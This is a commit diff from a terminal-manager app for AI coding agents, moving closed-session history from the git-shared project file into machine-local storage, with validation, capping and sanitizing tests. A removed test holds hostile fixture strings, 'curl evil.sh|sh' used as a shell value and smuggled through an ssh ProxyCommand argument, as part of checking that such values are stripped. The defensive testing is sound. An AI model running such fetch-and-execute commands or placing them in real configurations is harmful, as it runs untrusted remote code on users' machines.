Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

fix: move closed-session history to machine-local storage, dedupe the two reopen ledgers

Mina Sameh2fca981d51e8
diff --git a/src/core/workspace-files.closed-history.test.ts b/src/core/workspace-files.closed-history.test.ts
index a06d3616b..4cea0d00d 100644
--- a/src/core/workspace-files.closed-history.test.ts
+++ b/src/core/workspace-files.closed-history.test.ts
@@ -1,5 +1,5 @@
import { describe, it, expect } from 'vitest'
-import { projectToFile, fileToProject, validClosedSessions } from './workspace-files'
+import { projectToFile, fileToProject, validClosedSessions, sanitizeLoadedClosedSessions } from './workspace-files'
import { CLOSED_SESSIONS_CAP } from '../shared/types'
import type { ClosedSessionEntry, Project } from '../shared/types'
@@ -17,52 +17,39 @@ const project = (over: Partial<Project> = {}): Project => ({
id: 'p1', name: 'foo', color: '#7aa2f7', viewport: { x: 0, y: 0, zoom: 1 }, nodes: [], ...over
})
-describe('closedSessions round trip', () => {
- it('projectToFile omits an absent/empty closedSessions', () => {
- const file = projectToFile(project(), 1, 'now')
- expect(file.closedSessions).toBeUndefined()
- })
-
- it('round-trips id/closedAt/cosmetic fields, portable-izing cwd under the project root', () => {
+describe('closedSessions is machine-local, never in the shared project file', () => {
+ it('projectToFile never emits closedSessions, even when the project carries entries', () => {
const entries = [closedEntry('e1'), closedEntry('e2')]
const file = projectToFile(project({ cwd: '/tmp/x', closedSessions: entries }), 1, 'now')
- // The FILE stores a portable cwd, same as a live node's would — never the absolute path.
- expect(file.closedSessions?.[0].node.cwd).toBe('.')
- expect(file.closedSessions?.map((e) => e.id)).toEqual(['e1', 'e2'])
-
- const loaded = fileToProject(file, { id: 'p1', cwd: '/tmp/x' })
- // Resolved back to absolute against THIS load's cwd — round-trips to the original.
- expect(loaded.closedSessions?.[0].node.cwd).toBe('/tmp/x')
- expect(loaded.closedSessions?.[0].node.title).toBe('shell')
- expect(loaded.closedSessions?.[0].closedAt).toBe(1000)
+ expect((file as { closedSessions?: unknown }).closedSessions).toBeUndefined()
+ expect(JSON.stringify(file)).not.toContain('closedSessions')
})
- it('strips shell and ssh.extraArgs/execTrusted from the file, never restoring them without a local record', () => {
- const dangerous = closedEntry('e1', {
- shell: 'curl evil.sh|sh',
- ssh: { host: 'h', user: 'u', extraArgs: ['-oProxyCommand=curl evil.sh|sh'], execTrusted: true } as never
- })
- const file = projectToFile(project({ closedSessions: [dangerous] }), 1, 'now')
- expect(file.closedSessions?.[0].node.shell).toBeUndefined()
- expect((file.closedSessions?.[0].node.ssh as { extraArgs?: unknown })?.extraArgs).toBeUndefined()
- expect((file.closedSessions?.[0].node.ssh as { execTrusted?: unknown })?.execTrusted).toBeUndefined()
-
- // No matching entry in this machine's localExec map ⇒ stays stripped on read too.
- const loaded = fileToProject(file, { id: 'p1' })
- expect(loaded.closedSessions?.[0].node.shell).toBeUndefined()
- expect((loaded.closedSessions?.[0].node.ssh as { extraArgs?: unknown })?.extraArgs).toBeUndefined()
+ it('fileToProject ignores a `closedSessions` field forged onto the file — only base.closedSessions counts', () => {
+ const file = projectToFile(project({ cwd: '/tmp/x' }), 1, 'now')
+ const forged = { ...file, closedSessions: [closedEntry('forged')] } as never
+ expect(fileToProject(forged, { id: 'p1', cwd: '/tmp/x' }).closedSessions).toBeUndefined()
})
- it('fileToProject drops a missing or malformed closedSessions to undefined', () => {
- const file = projectToFile(project(), 1, 'now')
- const loaded = fileToProject(file, { id: 'p1', cwd: '/tmp/x' })
- expect(loaded.closedSessions).toBeUndefined()
+ it('fileToProject surfaces base.closedSessions verbatim (already sanitized by the caller)', () => {
+ const file = projectToFile(project({ cwd: '/tmp/x' }), 1, 'now')
+ const entries = [closedEntry('e1'), closedEntry('e2')]
+ const loaded = fileToProject(file, { id: 'p1', cwd: '/tmp/x', closedSessions: entries })
+ expect(loaded.closedSessions?.map((e) => e.id)).toEqual(['e1', 'e2'])
+ // Unlike the shared-file path, this data never leaves the machine — no exec-strip, no
+ // cwd-portability rewrite. It rides straight through.
+ expect(loaded.closedSessions?.[0].node.cwd).toBe('/tmp/x')
+ })
- const malformed = { ...file, closedSessions: { not: 'an array' } } as never
- expect(fileToProject(malformed, { id: 'p1', cwd: '/tmp/x' }).closedSessions).toBeUndefined()
+ it('omits closedSessions entirely when base carries none', () => {
+ const file = projectToFile(project({ cwd: '/tmp/x' }), 1, 'now')
+ expect(fileToProject(file, { id: 'p1', cwd: '/tmp/x' }).closedSessions).toBeUndefined()
+ expect(fileToProject(file, { id: 'p1', cwd: '/tmp/x', closedSessions: [] }).closedSessions).toBeUndefined()
})
+})
- it('validClosedSessions accepts a well-formed array and rejects garbage', () => {
+describe('validClosedSessions', () => {
+ it('accepts a well-formed array and rejects garbage', () => {
expect(validClosedSessions([closedEntry('e1')])).toBe(true)
expect(validClosedSessions([{ id: 'e1' }])).toBe(false) // missing closedAt/node
expect(validClosedSessions('nope')).toBe(false)
@@ -72,15 +59,15 @@ describe('closedSessions round trip', () => {
// recreateNodeFromSnapshot assigns `node.position = reattach ? snapshot.position :
// snapshot.absolutePosition` UNGUARDED, and React Flow's adoptUserNodes then dereferences
// `position.x`. So an entry missing either point is not a cosmetic defect — it is a white-screen
- // renderer crash reachable from any committed project.json. Reject it at the boundary.
- it('validClosedSessions rejects an entry with no absolutePosition', () => {
+ // renderer crash reachable from a hand-edited workspace.json. Reject it at the boundary.
+ it('rejects an entry with no absolutePosition', () => {
const { absolutePosition: _dropped, ...noAbs } = closedEntry('e1')
expect(validClosedSessions([noAbs])).toBe(false)
expect(validClosedSessions([{ ...closedEntry('e1'), absolutePosition: { x: 1 } }])).toBe(false)
expect(validClosedSessions([{ ...closedEntry('e1'), absolutePosition: 'nope' }])).toBe(false)
})
- it('validClosedSessions rejects an entry whose node has no position', () => {
+ it('rejects an entry whose node has no position', () => {
const bad = closedEntry('e1')
const { position: _dropped, ...node } = bad.node
expect(validClosedSessions([{ ...bad, node }])).toBe(false)
@@ -88,33 +75,40 @@ describe('closedSessions round trip', () => {
// A garbage kind reaches buildBase's switch, returns null, and the sidebar row silently consumes
// itself and vanishes — the same dead-row failure the `trigger` exclusion was added to prevent.
- it('validClosedSessions rejects an entry with a missing or empty node kind', () => {
+ it('rejects an entry with a missing or empty node kind', () => {
expect(validClosedSessions([closedEntry('e1', { kind: '' as never })])).toBe(false)
expect(validClosedSessions([closedEntry('e1', { kind: undefined as never })])).toBe(false)
expect(validClosedSessions([closedEntry('e1', { kind: 7 as never })])).toBe(false)
})
+})
- it('a file whose entry lacks position data loads as no history at all, never a broken entry', () => {
- const file = projectToFile(project({ closedSessions: [closedEntry('e1')] }), 1, 'now')
- const { absolutePosition: _dropped, ...maimed } = file.closedSessions![0]
- const hostile = { ...file, closedSessions: [maimed] } as never
- expect(fileToProject(hostile, { id: 'p1' }).closedSessions).toBeUndefined()
+describe('sanitizeLoadedClosedSessions', () => {
+ it('drops a non-array/malformed value to undefined', () => {
+ expect(sanitizeLoadedClosedSessions({ not: 'an array' })).toBeUndefined()
+ expect(sanitizeLoadedClosedSessions(undefined)).toBeUndefined()
+ expect(sanitizeLoadedClosedSessions([])).toBeUndefined()
})
- // The cap is enforced where entries are ADMITTED, not only where we append them: the file is
- // git-shared, so an inflated list arrives from outside and would otherwise render unbounded
- // sidebar rows and be written back in full.
- it('caps an oversized closedSessions array on read AND on write', () => {
- const many = Array.from({ length: CLOSED_SESSIONS_CAP + 12 }, (_, i) => closedEntry(`e${i}`))
+ it('a well-formed entry with no position data loads as no history at all, never a broken entry', () => {
+ const entry = closedEntry('e1')
+ const { absolutePosition: _dropped, ...maimed } = entry
+ expect(sanitizeLoadedClosedSessions([maimed])).toBeUndefined()
+ })
- const file = projectToFile(project({ closedSessions: many }), 1, 'now')
- expect(file.closedSessions).toHaveLength(CLOSED_SESSIONS_CAP)
+ it('strips a trigger spec off a surviving entry\'s node, same as a live node', () => {
+ const entry = closedEntry('e1', { trigger: { kind: 'cron', expr: '* * * * *' } } as never)
+ const out = sanitizeLoadedClosedSessions([entry])
+ expect(out).toHaveLength(1)
+ expect(out?.[0].node.trigger).toBeUndefined()
+ })
- // A file that arrived already oversized (hand-edited, or written by a build before the cap).
- const oversized = { ...file, closedSessions: many } as never
- const loaded = fileToProject(oversized, { id: 'p1' })
- expect(loaded.closedSessions).toHaveLength(CLOSED_SESSIONS_CAP)
- // Newest-first order is preserved — the cap drops the TAIL, never the head.
- expect(loaded.closedSessions?.[0].id).toBe('e0')
+ // The cap is enforced where entries are ADMITTED, not only where we append them: workspace.json
+ // is hand-editable input too, so an inflated list can arrive from outside and would otherwise
+ // render unbounded sidebar rows and be persisted back in full on the next save.
+ it('caps an oversized array, newest-first (drops the tail)', () => {
+ const many = Array.from({ length: CLOSED_SESSIONS_CAP + 12 }, (_, i) => closedEntry(`e${i}`))
+ const out = sanitizeLoadedClosedSessions(many)
+ expect(out).toHaveLength(CLOSED_SESSIONS_CAP)
+ expect(out?.[0].id).toBe('e0')
})
})
diff --git a/src/core/workspace-files.ts b/src/core/workspace-files.ts
index f89e471a6..730646154 100644
--- a/src/core/workspace-files.ts
+++ b/src/core/workspace-files.ts
@@ -124,8 +124,8 @@ export interface ProjectFileV1 {
agentMessaging?: boolean
dinoHighScore?: number
kanban?: ProjectKanban
- /** Git-shared closed-session history — see `Project.closedSessions`. */
- closedSessions?: ClosedSessionEntry[]
+ // NOTE: closedSessions is deliberately NOT here — see `Project.closedSessions` /
+ // `IndexEntryV3.closedSessions`. It is machine-local, like `viewport`/`breadcrumbs`.
}
/** One workspace.json v3 entry. Exactly one of: `cwd` (local ref), `ssh` (remote ref),
@@ -162,6 +162,15 @@ export interface IndexEntryV3 {
/** MACHINE-LOCAL camera navigation history for a ref'd project. Same rule as `viewport`: this
* user's "where was I" is not something a repo shares. See NavStop. */
breadcrumbs?: NavStop[]
+ /**
+ * MACHINE-LOCAL closed-session history for a ref'd project (folder or ssh) — see
+ * `Project.closedSessions`. Whose trash can holds what deleted nodes is a per-machine fact, not
+ * shared content: a delete's full node-state blob would otherwise churn a committed,
+ * teammate-visible `.nodeterm/project.json` on every one. Validated/capped/trigger-sanitized on
+ * every load (`sanitizeLoadedClosedSessions`) exactly like an inline project's embedded
+ * `closedSessions` — this file is hand-editable input too.
+ */
+ closedSessions?: ClosedSessionEntry[]
cwd?: string
ssh?: Project['ssh']
cache?: ProjectFileV1
@@ -259,17 +268,6 @@ export function projectToFile(
const nodes = sanitizeNodeTriggers(
stripSharedNodeExec(p.cwd ? toPortableNodes(p.nodes, p.cwd) : p.nodes)
)
- // Capped on the way OUT as well as in (see CLOSED_SESSIONS_CAP): the store mutator guarantees
- // this in normal operation, but an in-memory list inflated some other way (a hand-edited file
- // loaded before the cap existed, a future caller) must not be written back uncapped.
- const closedSessions = p.closedSessions?.length
- ? p.closedSessions.slice(0, CLOSED_SESSIONS_CAP).map((e) => ({
- ...e,
- node: sanitizeNodeTriggers(
- stripSharedNodeExec(p.cwd ? toPortableNodes([e.node], p.cwd) : [e.node])
- )[0]
- }))
- : undefined
const icon = sanitizeProjectIcon(p.icon)
return {
version: 1,
@@ -289,8 +287,7 @@ export function projectToFile(
// the acknowledgment is machine-local (IndexEntryV3.capabilityAck) and must never travel.
...projectCapabilityFields(p),
...(p.dinoHighScore ? { dinoHighScore: p.dinoHighScore } : {}),
- ...(p.kanban ? { kanban: p.kanban } : {}),
- ...(closedSessions ? { closedSessions } : {})
+ ...(p.kanban ? { kanban: p.kanban } : {})
}
}
@@ -343,6 +340,24 @@ export function validClosedSessions(x: unknown): x is ClosedSessionEntry[] {
)
}
+/**
+ * The tolerant reader for closed-session history wherever it is admitted from disk: an
+ * `IndexEntryV3.closedSessions` (ref'd project) or an inline `IndexEntryV3.project.closedSessions`
+ * — both live in workspace.json, which is hand-editable input exactly like a git-shared
+ * `.nodeterm/project.json`. Validates shape (`validClosedSessions`), caps at `CLOSED_SESSIONS_CAP`
+ * (newest-first — the cap drops the tail), and re-normalizes each snapshot's trigger spec, same as
+ * a live node. No exec-strip / browser-partition treatment here: unlike the shared project file,
+ * this data never leaves this machine, so a node's own `shell`/`ssh.extraArgs` survive a reopen
+ * intact — there is nothing to re-attach from a separate machine-local map. Returns `undefined`
+ * for anything that fails the shape guard or has nothing to admit, never `[]`.
+ */
+export function sanitizeLoadedClosedSessions(x: unknown): ClosedSessionEntry[] | undefined {
+ if (!validClosedSessions(x)) return undefined
+ const capped = x.slice(0, CLOSED_SESSIONS_CAP)
+ if (!capped.length) return undefined
+ return capped.map((e) => ({ ...e, node: sanitizeNodeTriggers([e.node])[0] }))
+}
+
/**
* The shared file plus this machine's own half of the project.
*
@@ -369,6 +384,9 @@ export function fileToProject(
capabilityAck?: import('../shared/project-capability-consent').CapabilityAckMap
/** This machine's navigation history for this entry (never from the file). */
breadcrumbs?: NavStop[]
+ /** This machine's closed-session history for this entry (never from the file) — already
+ * validated/capped/trigger-sanitized by the caller (`sanitizeLoadedClosedSessions`). */
+ closedSessions?: ClosedSessionEntry[]
/** This machine's own exec values for these nodes (from the local index entry). A file read
* WITHOUT them — an adopted/cloned folder, a probe — gets the safe defaults, never the file's
* own `shell`/`ssh.extraArgs`. */
@@ -404,25 +422,6 @@ export function fileToProject(
...readProjectCapabilities(f),
...(f.dinoHighScore ? { dinoHighScore: f.dinoHighScore } : {}),
...(validKanban(f.kanban) ? { kanban: f.kanban } : {}),
- // Capped at the READ boundary, which is the one that matters: the file is git-shared, so an
- // oversized list arrives from outside and would otherwise render unbounded sidebar rows and be
- // rewritten in full. See CLOSED_SESSIONS_CAP.
- ...(validClosedSessions(f.closedSessions)
- ? {
- closedSessions: f.closedSessions.slice(0, CLOSED_SESSIONS_CAP).map((e) => ({
- ...e,
- node: sanitizeNodeTriggers(
- sanitizeBrowserPartitions(
- applyLocalNodeExec(
- base.cwd ? resolveNodes([e.node], base.cwd) : [e.node],
- base.localExec
- ),
- base.id
- )
- )[0]
- }))
- }
- : {}),
...(base.cwd ? { cwd: base.cwd } : {}),
...(base.ssh ? { ssh: base.ssh } : {}),
...(base.closed ? { closed: true } : {}),
@@ -432,7 +431,10 @@ export function fileToProject(
...(base.capabilityAck ? { capabilityAck: base.capabilityAck } : {}),
// Machine-local, from the index entry ONLY: a file field named `breadcrumbs` is a forgery
// attempt (the shared file cannot carry this machine's navigation history) and is never read.
- ...(base.breadcrumbs?.length ? { breadcrumbs: base.breadcrumbs } : {})
+ ...(base.breadcrumbs?.length ? { breadcrumbs: base.breadcrumbs } : {}),
+ // Machine-local, from the index entry ONLY, same rule as `breadcrumbs`: a file field named
+ // `closedSessions` is never read here — the shared file cannot carry this machine's trash can.
+ ...(base.closedSessions?.length ? { closedSessions: base.closedSessions } : {})
}
}
@@ -526,7 +528,13 @@ export function splitWorkspace(
// The clone-notice acknowledgment rides the machine-local entry, never the shared file
// (projectToFile does not emit it — pinned by project-capability-consent.test.ts).
...(p.capabilityAck ? { capabilityAck: p.capabilityAck } : {}),
- ...(p.breadcrumbs?.length ? { breadcrumbs: p.breadcrumbs } : {})
+ ...(p.breadcrumbs?.length ? { breadcrumbs: p.breadcrumbs } : {}),
+ // Same rule: whose trash can holds what is machine-local, capped on the way OUT as well as
+ // in (see CLOSED_SESSIONS_CAP) — an in-memory list inflated some other way must not be
+ // written back uncapped.
+ ...(p.closedSessions?.length
+ ? { closedSessions: p.closedSessions.slice(0, CLOSED_SESSIONS_CAP) }
+ : {})
}
if (p.unavailable) {
// Placeholder (folder missing / server unreachable at load): its nodes:[] is not real
diff --git a/src/core/workspace-store.closed-history.test.ts b/src/core/workspace-store.closed-history.test.ts
index 5a9e9f48d..c9e1dbc8f 100644
--- a/src/core/workspace-store.closed-history.test.ts
+++ b/src/core/workspace-store.closed-history.test.ts
@@ -6,7 +6,7 @@ import { initPlatform, resetPlatformForTests } from './platform'
import { fakePlatform } from './platform-fake'
import { WorkspaceStore } from './workspace-store'
import { CLOSED_SESSIONS_CAP } from '../shared/types'
-import type { Project, Workspace } from '../shared/types'
+import type { ClosedSessionEntry, Project, Workspace } from '../shared/types'
let userData: string
let projRoot: string
@@ -30,6 +30,52 @@ afterEach(async () => {
await fs.rm(projRoot, { recursive: true, force: true })
})
+/**
+ * A pre-v3 (v2) workspace.json skips loadV3 entirely — `migrateLegacy` assembles it in memory and
+ * the first save() is what actually migrates it to v3. Without its OWN sanitize pass, a malformed
+ * `closedSessions` on a hand-edited legacy file reaches `mergeClosedHistory` (a `for...of` over a
+ * non-array throws) on the very FIRST load, before any save ever runs.
+ */
+describe('a legacy (v2) workspace.json sanitizes closedSessions on migration', () => {
+ it('drops a malformed closedSessions rather than crashing the sidebar render', async () => {
+ await fs.writeFile(
+ path.join(userData, 'workspace.json'),
+ JSON.stringify({
+ version: 2,
+ activeProjectId: 'p1',
+ projects: [{
+ id: 'p1', name: 'foo', color: '#7aa2f7', viewport: { x: 0, y: 0, zoom: 1 }, nodes: [],
+ closedSessions: { not: 'an array' }
+ }]
+ }),
+ 'utf-8'
+ )
+ const loaded = await new WorkspaceStore().load()
+ expect(loaded.projects[0].closedSessions).toBeUndefined()
+ })
+
+ it('keeps a well-formed legacy closedSessions entry', async () => {
+ await fs.writeFile(
+ path.join(userData, 'workspace.json'),
+ JSON.stringify({
+ version: 2,
+ activeProjectId: 'p1',
+ projects: [{
+ id: 'p1', name: 'foo', color: '#7aa2f7', viewport: { x: 0, y: 0, zoom: 1 }, nodes: [],
+ closedSessions: [{
+ id: 'e1', closedAt: 1, absolutePosition: { x: 0, y: 0 },
+ node: { id: 'n1', kind: 'terminal', position: { x: 0, y: 0 }, size: { width: 1, height: 1 }, title: 't', color: '#fff', group: null }
+ }]
+ }]
+ }),
+ 'utf-8'
+ )
+ const loaded = await new WorkspaceStore().load()
+ expect(loaded.projects[0].closedSessions).toHaveLength(1)
+ expect(loaded.projects[0].closedSessions?.[0].id).toBe('e1')
+ })
+})
+
describe('closedAt round trip (machine-local index)', () => {
it('persists closedAt on the index entry and never on the shared project file', async () => {
const store = new WorkspaceStore()
@@ -55,6 +101,73 @@ describe('closedAt round trip (machine-local index)', () => {
})
})
+/**
+ * The maintainer's own storage-move requirement (PR #510 review): closed-session history is a
+ * per-machine fact, like `viewport`/`breadcrumbs` — a REF'D (cwd) project's history must live in
+ * the machine-local `workspace.json` index entry, never in the git-shared `.nodeterm/project.json`
+ * a teammate would also see. This is the round trip nothing else exercises end-to-end: every other
+ * test covers one layer (`projectToFile`/`fileToProject` in isolation, or the inline-project path,
+ * which is ALREADY machine-local by construction and so proves nothing about this move).
+ */
+describe('a ref\'d project\'s closedSessions rides the machine-local index, never the shared file', () => {
+ const entry = (id: string, closedAt: number): ClosedSessionEntry => ({
+ id, closedAt,
+ node: { id: 'term-1', kind: 'terminal', position: { x: 0, y: 0 }, size: { width: 1, height: 1 }, title: 't', color: '#fff', group: null },
+ absolutePosition: { x: 0, y: 0 }
+ })
+
+ it('lands in workspace.json but never in .nodeterm/project.json, and survives a reload', async () => {
+ const store = new WorkspaceStore()
+ await store.save(ws([project({ cwd: projRoot, closedSessions: [entry('e1', 1), entry('e2', 2)] })]))
+
+ const index = JSON.parse(await fs.readFile(path.join(userData, 'workspace.json'), 'utf-8'))
+ expect(index.entries[0].closedSessions?.map((e: { id: string }) => e.id)).toEqual(['e1', 'e2'])
+
+ const file = JSON.parse(await fs.readFile(path.join(projRoot, '.nodeterm/project.json'), 'utf-8'))
+ expect(file.closedSessions).toBeUndefined()
+ expect(JSON.stringify(file)).not.toContain('closedSessions')
+
+ // A fresh store instance, so this is a genuine reload off disk, not the same in-memory index.
+ const loaded = await new WorkspaceStore().load()
+ expect(loaded.projects[0].closedSessions?.map((e) => e.id)).toEqual(['e1', 'e2'])
+ })
+
+ it('survives an unavailable window (folder briefly unreadable) via the old-entry restore', async () => {
+ const store = new WorkspaceStore()
+ await store.save(ws([project({ cwd: projRoot, closedSessions: [entry('e1', 1)] })]))
+
+ // The folder becomes unreadable — save() must not let splitWorkspace's header-only placeholder
+ // erase the machine-local history it can't currently see.
+ await store.save(ws([project({ cwd: projRoot, unavailable: true })]))
+ const index = JSON.parse(await fs.readFile(path.join(userData, 'workspace.json'), 'utf-8'))
+ expect(index.entries[0].closedSessions?.map((e: { id: string }) => e.id)).toEqual(['e1'])
+ })
+
+ it('caps and re-sanitizes a hand-edited oversized/hostile index entry on load', async () => {
+ await fs.writeFile(
+ path.join(userData, 'workspace.json'),
+ JSON.stringify({
+ version: 3,
+ activeProjectId: 'p1',
+ entries: [{
+ id: 'p1', name: 'foo', color: '#7aa2f7', cwd: projRoot,
+ closedSessions: Array.from({ length: CLOSED_SESSIONS_CAP + 5 }, (_, i) => entry(`e${i}`, i))
+ }]
+ }),
+ 'utf-8'
+ )
+ await fs.mkdir(path.join(projRoot, '.nodeterm'), { recursive: true })
+ await fs.writeFile(
+ path.join(projRoot, '.nodeterm/project.json'),
+ JSON.stringify({ version: 1, rev: 1, savedAt: 'now', name: 'foo', color: '#7aa2f7', nodes: [] }),
+ 'utf-8'
+ )
+ const loaded = await new WorkspaceStore().load()
+ expect(loaded.projects[0].closedSessions).toHaveLength(CLOSED_SESSIONS_CAP)
+ expect(loaded.projects[0].closedSessions?.[0].id).toBe('e0')
+ })
+})
+
/**
* An INLINE (cwd-less) project is stored verbatim in workspace.json and never passes through
* `fileToProject`, so it bypasses every guard that lives there. The branch already re-applies
diff --git a/src/core/workspace-store.ts b/src/core/workspace-store.ts
index fee3e4600..d919e1762 100644
--- a/src/core/workspace-store.ts
+++ b/src/core/workspace-store.ts
@@ -5,12 +5,13 @@ import { renameAtomic, writeFileAtomic } from './fs-atomic'
import { IPC } from '../shared/ipc'
import { platform } from './platform'
import {
- CLOSED_SESSIONS_CAP, DEFAULT_PROJECT_ID, EMPTY_WORKSPACE,
+ DEFAULT_PROJECT_ID, EMPTY_WORKSPACE,
type BridgeLink, type CanvasNodeState, type Project, type Workspace, type WorkspaceV1
} from '../shared/types'
import {
PROJECT_DIR, PROJECT_FILE, fileToProject, projectToFile, resolveNodes, sameProjectContent,
- sanitizeNodeTriggers, serializeProjectFile, splitWorkspace, validClosedSessions, validKanban,
+ sanitizeLoadedClosedSessions, sanitizeNodeTriggers, serializeProjectFile, splitWorkspace,
+ validKanban,
type IndexEntryV3, type ProjectFileV1, type WorkspaceIndexV3
} from './workspace-files'
import { readProjectSettingsFile, writeProjectSettingsFile } from './project-settings-files'
@@ -256,7 +257,14 @@ export class WorkspaceStore {
}
private async loadV3(index: WorkspaceIndexV3, sideline: boolean): Promise<Workspace> {
- for (const entry of index.entries) entry.localApprovalId ||= randomUUID()
+ for (const entry of index.entries) {
+ entry.localApprovalId ||= randomUUID()
+ // Same "workspace.json is hand-editable input too" treatment as the inline-project branch
+ // below, for a REF'd project's own closed-session history: validate shape, cap, and
+ // re-normalize each snapshot's trigger spec. Sanitized ONCE here so every downstream reader
+ // of `e.closedSessions` (fileToProject, readLocalRef, the ssh reconcile paths) can trust it.
+ entry.closedSessions = sanitizeLoadedClosedSessions(entry.closedSessions)
+ }
this.index = index
const built: LoadedEntry[] = []
for (const e of index.entries) {
@@ -267,16 +275,11 @@ export class WorkspaceStore {
// `rest` drops BOTH guarded fields; each is added back below only if it passes its guard.
const { kanban, closedSessions, ...rest } = e.project
const base = validKanban(kanban) ? { ...rest, kanban } : rest
- // Same treatment for `closedSessions`, and for the same reason: a malformed value here
- // reaches `mergeClosedHistory`, which iterates it (a non-array throws and takes the whole
- // sidebar render down) and hands each entry's node to React Flow. Dropped when it fails
- // the shape rule, capped like every other path, and each surviving node gets the same
- // trigger normalization `nodes` gets.
- const history = validClosedSessions(closedSessions)
- ? closedSessions
- .slice(0, CLOSED_SESSIONS_CAP)
- .map((c) => ({ ...c, node: sanitizeNodeTriggers([c.node])[0] }))
- : undefined
+ // Same treatment for `closedSessions` as the ref'd-project entries above, and for the
+ // same reason: a malformed value here reaches `mergeClosedHistory`, which iterates it (a
+ // non-array throws and takes the whole sidebar render down) and hands each entry's node
+ // to React Flow.
+ const history = sanitizeLoadedClosedSessions(closedSessions)
built.push({
entry: e,
project: {
@@ -306,6 +309,7 @@ export class WorkspaceStore {
viewport: e.viewport,
defaultAccountId: e.defaultAccountId,
breadcrumbs: e.breadcrumbs,
+ closedSessions: e.closedSessions,
capabilityAck: e.capabilityAck,
localExec: this.execOverlay(e, p)
})
@@ -327,6 +331,7 @@ export class WorkspaceStore {
viewport: e.viewport,
defaultAccountId: e.defaultAccountId,
breadcrumbs: e.breadcrumbs,
+ closedSessions: e.closedSessions,
capabilityAck: e.capabilityAck,
localExec: this.execOverlay(e, e.cache)
})
@@ -856,6 +861,10 @@ export class WorkspaceStore {
if (old?.viewport) e.viewport = old.viewport
if (old?.defaultAccountId) e.defaultAccountId = old.defaultAccountId
if (old?.breadcrumbs) e.breadcrumbs = old.breadcrumbs
+ // Same rule: a placeholder's project carries no closedSessions (it has no nodes to have
+ // deleted), so without this an unavailable window would silently forget the user's trash
+ // can the moment splitWorkspace rebuilds the index.
+ if (old?.closedSessions) e.closedSessions = old.closedSessions
// The clone-notice acknowledgment must also survive an unavailable window: forgetting it
// would re-raise a notice the user already answered the moment the folder remounts.
if (old?.capabilityAck) e.capabilityAck = old.capabilityAck
@@ -1013,6 +1022,7 @@ export class WorkspaceStore {
viewport: e.viewport,
defaultAccountId: e.defaultAccountId,
breadcrumbs: e.breadcrumbs,
+ closedSessions: e.closedSessions,
capabilityAck: e.capabilityAck,
localExec: e.localExec
})
@@ -1332,6 +1342,7 @@ export class WorkspaceStore {
viewport: e.viewport,
defaultAccountId: e.defaultAccountId,
breadcrumbs: e.breadcrumbs,
+ closedSessions: e.closedSessions,
capabilityAck: e.capabilityAck,
localExec: e.localExec
})
@@ -1389,6 +1400,7 @@ export class WorkspaceStore {
viewport: e.viewport,
defaultAccountId: e.defaultAccountId,
breadcrumbs: e.breadcrumbs,
+ closedSessions: e.closedSessions,
capabilityAck: e.capabilityAck,
localExec: e.localExec
})
@@ -1454,6 +1466,7 @@ export class WorkspaceStore {
return fileToProject(e.cache, {
id: e.id, ssh: e.ssh, closed: e.closed, closedAt: e.closedAt,
viewport: e.viewport, defaultAccountId: e.defaultAccountId, breadcrumbs: e.breadcrumbs,
+ closedSessions: e.closedSessions,
capabilityAck: e.capabilityAck, localExec: e.localExec
})
}
@@ -1561,6 +1574,7 @@ export class WorkspaceStore {
return fileToProject(adopted, {
id: e.id, ssh: e.ssh, closed: e.closed, closedAt: e.closedAt,
viewport: e.viewport, defaultAccountId: e.defaultAccountId, breadcrumbs: e.breadcrumbs,
+ closedSessions: e.closedSessions,
capabilityAck: e.capabilityAck, localExec: e.localExec
})
}
@@ -1576,6 +1590,7 @@ export class WorkspaceStore {
merged = fileToProject(e.cache, {
id: e.id, ssh: e.ssh, closed: e.closed, closedAt: e.closedAt,
viewport: e.viewport, defaultAccountId: e.defaultAccountId, breadcrumbs: e.breadcrumbs,
+ closedSessions: e.closedSessions,
capabilityAck: e.capabilityAck, localExec: e.localExec
})
}
@@ -1628,7 +1643,17 @@ function migrateLegacy(parsed: unknown): Workspace {
const active = ws.projects.some((p) => p.id === ws.activeProjectId)
? (ws.activeProjectId as string)
: (ws.projects[0]?.id ?? '')
- return { version: 2, activeProjectId: active, projects: ws.projects }
+ // A pre-v3 workspace.json is hand-editable input too, same as an inline v3 entry — and this
+ // path skips loadV3 entirely (the first save() is what actually migrates it), so without this
+ // a malformed `closedSessions` reaches `mergeClosedHistory`'s `for...of` before that save ever
+ // runs and takes the sidebar render down on the very first load.
+ const projects = ws.projects.map((p) => {
+ const history = sanitizeLoadedClosedSessions(p.closedSessions)
+ if (history === p.closedSessions) return p
+ const { closedSessions: _dropped, ...rest } = p
+ return history ? { ...rest, closedSessions: history } : rest
+ })
+ return { version: 2, activeProjectId: active, projects }
}
if (ws?.version === 1 && Array.isArray(ws.nodes)) {
return {
diff --git a/src/renderer/canvas/Canvas.tsx b/src/renderer/canvas/Canvas.tsx
index b09e620c8..3dd1d1732 100644
--- a/src/renderer/canvas/Canvas.tsx
+++ b/src/renderer/canvas/Canvas.tsx
@@ -4562,31 +4562,46 @@ export function Canvas() {
(ids: string[], opts?: { record?: boolean }) => {
const set = new Set(ids)
if (opts?.record !== false) {
- const snapshots = nodesRef.current
- .filter((n) => set.has(n.id))
- .map((n) => snapshotNode(n, nodesRef.current))
- .filter((s): s is NonNullable<typeof s> => s !== null)
- if (snapshots.length) {
- useReopenHistory.getState().push({
- kind: 'nodes',
- projectId: useProjects.getState().activeProjectId ?? '',
- closedAt: Date.now(),
- nodes: snapshots
- })
- }
const deletedAt = Date.now()
+ // Keyed by node id, not by array position: `closedEntries` and `snapshots` below each run
+ // their OWN independent filter over `nodesRef.current` (both via `snapshotNode`), and a
+ // node-id map is what lets the two stay correlated even if those filters ever drift apart,
+ // rather than relying on the two passes producing the same order.
+ const closedSessionIdByNode = new Map<string, string>()
// `uuid()`, NOT crypto.randomUUID: the latter exists only in a SECURE context, so it is
// undefined in the Server Edition served over plain HTTP on a LAN — and this call sits at
// the TOP of deleteNodes, before transport.destroy/setNodes, so a throw here would make
// Delete do nothing at all on that surface. See lib/uuid.ts (the same call already broke
// "Add agent" once).
- const closedEntries = buildClosedSessionEntries(set, nodesRef.current, deletedAt, uuid)
+ const closedEntries = buildClosedSessionEntries(set, nodesRef.current, deletedAt, (nodeId) => {
+ const id = uuid()
+ closedSessionIdByNode.set(nodeId, id)
+ return id
+ })
if (closedEntries.length) {
useProjects.getState().recordClosedSessions(
useProjects.getState().activeProjectId ?? '',
closedEntries
)
}
